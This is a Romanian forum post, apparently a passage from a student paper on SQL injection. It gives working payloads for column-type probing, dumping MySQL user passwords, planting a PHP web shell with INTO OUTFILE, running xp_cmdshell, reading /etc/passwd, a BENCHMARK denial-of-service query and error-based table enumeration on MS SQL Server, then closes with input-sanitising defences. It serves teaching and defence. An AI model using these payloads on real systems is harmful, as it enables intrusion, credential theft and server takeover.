| Ad_Infinitum |
| Administrator |

 |
 |
| Data inscrierii: 23/Iun/2007 |
| Mesaje: 212 |
|
|
|
 |
 |
 |
|
3.1.2. Identificarea tipului atributelor
Dupa ce se cunoaste numarul de atribute, mai ramîne de aflat tipul acestora. În MySQL tipul datelor este teribil de usor de determnat căci valorile numerice pot fi considerate si ca valori sir de caractere. Însa cînd se folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema data se utilizeaza cuvîntul rezervat NULL, fiindcă acesta poate avea orice tip.
Presupunînd ca numarul de semnale este calculat, raufacatorului îi este nespus de usor de a înjecta clauza UNION cu toate atributele nule. Adaugarea înstructiunii WHERE care întotdeauna va fi evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze valorile NULL).
Voi aduce un exemplu pentru SGBD MS SQL Server (ceea ce este similar cu SGBD Oracle):
http://127.0.0.1/inj.asp?id=-1 ' +UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2--
Acest tip de injectare cu NULL are 2 scopuri. Principalul – de a obtine o cerere cu UNION fara erori. Si cealalta – aceasta cerere nu returneaza nimic, ceea ce dovedeste ca totul lucreaza corect.
Odata ce este formata cererea procesul de identificare a tipurilor atributelor devine trivial. Într-o iteratie fiecarui atribut se dau valori numerice, sir de caractere sau datetime.
-1'+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2—
Nici o eroare – primul atribut este numeric
-1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2—
Eroare
-1'+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2—
Nici o eroare – al doilea atribut are tipul sir caractere
-1'+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2—
Nici o eroare – al 3-lea atribut este numeric
...
Astfel, avînd toata înformatia, datele din tabelele de sistem pot fi obtinute cu succes. Un exemplu de obtinere a datelor din SGBD MySQL:
mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user;
+----+------+--------+----------+-------+------------+
| id | name | mgroup | password | email | ip_address |
+----+------+--------+----------+-------+------------+
| 0 | 1 | 2 | fdsJD83h | 4 | 5 |
+----+------+--------+----------+-------+------------+
1 row in set (0.00 sec)
3.2. Obtinerea unui interpretator de comenzi
Unele SGBD consimt extragerea rezultatelor cererii SQL într-un fisier. Acest fapt permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul complet al serverului (spre exemplu un php sau asp shell).
În MySQL extragerea rezultatelor în fisier se face utilizînd clauza INTO OUTFILE. Un exemplu necomplicat ar fi urmatorul:
INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php
În MS SQL Server extragerea rezultatelor în fisier putin difera. În componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri – master.dbo.sp_makewebtask – are destinatia aceasta.
O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir'
3.3. Metode specifice de atac asupra unui anumit tip de SGBD
3.3.1. MySQL
SQL injecion permite de a afla si alte date:
/* baza de date curenta */
select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE();
/* utilizatorul care a lansat baza de date */
select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER();
/* versiunea serverului */
select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION();
Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server:
http://127.0.0.1/inj.php?id=-1 '+UNION+SELECT+0,1,2,3,4,5, LOAD_FILE('/etc/passwd')/*
O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reîntoarce simbolul cu codul ASCII num:
select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user
ceea ce este echivalent cu:
select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user
Vulnerabilitatea SQL injection poate fi exploatata si pentru facerea atacului DoS:
select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))
trimiterea de catre raufacator a cîteva cereri de acest fel va face serverul sa frîneze considerabil.
3.3.2. MS SQL Server
In baza de date de sistem INFORMATION_SCHEMA se contine informatia despre toate tabelele de pe server.
Extragerea datelor din baza de date poate fi cu usurinta facuta în cazul cînd mesajele de erori ODBC se afiseaza în browser. Sa presupunem ca exista o aplicatie-web vulnerabila:
http://127.0.0.1/?page_id=1’
Pentru început raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului tabel:
http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES--
Serverul va reîntoarce:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint
Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rînd va forma urmatoarele cereri:
http://127.0.0.1/?page_id=-1’;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')—
Raspunsul serverului:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint
Cererea urmatoare va fi:
http://127.0.0.1/?page_id=-1’;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')—
Acest exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator.
4. Caracteristici tipice a SGBD
4.1. MySQL
1. Suporta INTO OUTFILE
2. Majoritatea modulelor si bibliotecilor nu îngăduie executarea cererilor numeroase la baza de date
3. Suporta interogari UNION si JOIN (doar versiunile > =4.0)
4. Permite transmiterea valorilor numerice între ghilimele
4.2. Oracle
1. Suporta subselect
2. Suporta UNION
3. Nu permite executarea cererilor multiple la baza de date
4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere
4.3. MS SQL
1. Suporta subselect
2. Suporta UNION
3. Permite executarea cererilor multiple la baza de date
4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere
5. Metode de aparare
Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection în aplicatia web, este necesar de a prelucra toate datele ce parvin de la utilizatori la urmatoarele simboluri:
1) Ghilimelele atit simple cît si duble (‘, “, `). Cu susținerea acestora în majoritatea cazurilor se efectuiaza injectarea codului SQL.
2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare.
3) Simbolurile ce împart instructiunile SQL (;). Prezenta acestui simbol permite de a forma mai multe cereri la baza de date.
4) Deasemenea datele ar necesită sa fie verificate la prezenta si la alte simboluri (_,%,*).
5) În cazul cînd în cererea SQL se utilizeaza date numerice primite de la utilizatori, anterior de a le plasa în cererea SQL acestea ar trebui aduse la tipul numeric:
$id=(int)$id;
6) În cazul cînd în cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, cândva de a le plasa în cererea SQL astea ar trebui prelucrate la simboluri speciale. Cea mai buna practica – este formarea expresiilor regulate.
Concluzii
Trebuie de mentionat ca vulnerabilitatile de tipul SQL Injection sunt deosebit de raspîndite. În lucrare am demonstrat ca prezenta vulnerabilitatii date în aplicatia-web îi permite raufacatorului sa afle/extraga informatii despre server, sa obtina un interpretator de comenzi sau chiar sa realizeze un atac DoS.
Pentru a evita prezenta acestei vulnerabilitati este nevoie de a prelucra la simboluri speciale perfect toate datele ce parvin de la utilizatori. În aceasta categorie intra parametrii GET, POST si chiar cookie.
Aspectele reflectate în aceasta lucrare desigur nu acopera în întregime tema atacurilor SQL injection. Fiecare SGBD are nuantele sale pe care raufacatorul potential poate sa le foloseasca spre binele sau. Tema lucrarii date este derivata din tema proiectului de masterat întitulata „Metode si solutii de detectare a web-atacurilor”.
Bibliografie
1. „Advanced SQL Injection In SQL Server Applications”, Chris Anley, NGSS Next Generation Security Software
2. „Manipulating Microsoft SQL Server Using SQL Injection”, Cesar Cerrudo
3. „Атаки sql-injection (mysql)”, RST
4. „Blindfolded SQL Injection”, Ofer Maor, Amichai Shulman
5. „SQL-injection и не только, через cookies”, RST
6. „SQL Injection whitepaper”, SPILabs
7. „Тактика защиты и нападения на Web-приложения”, Низамутдинов М.Ф. |
|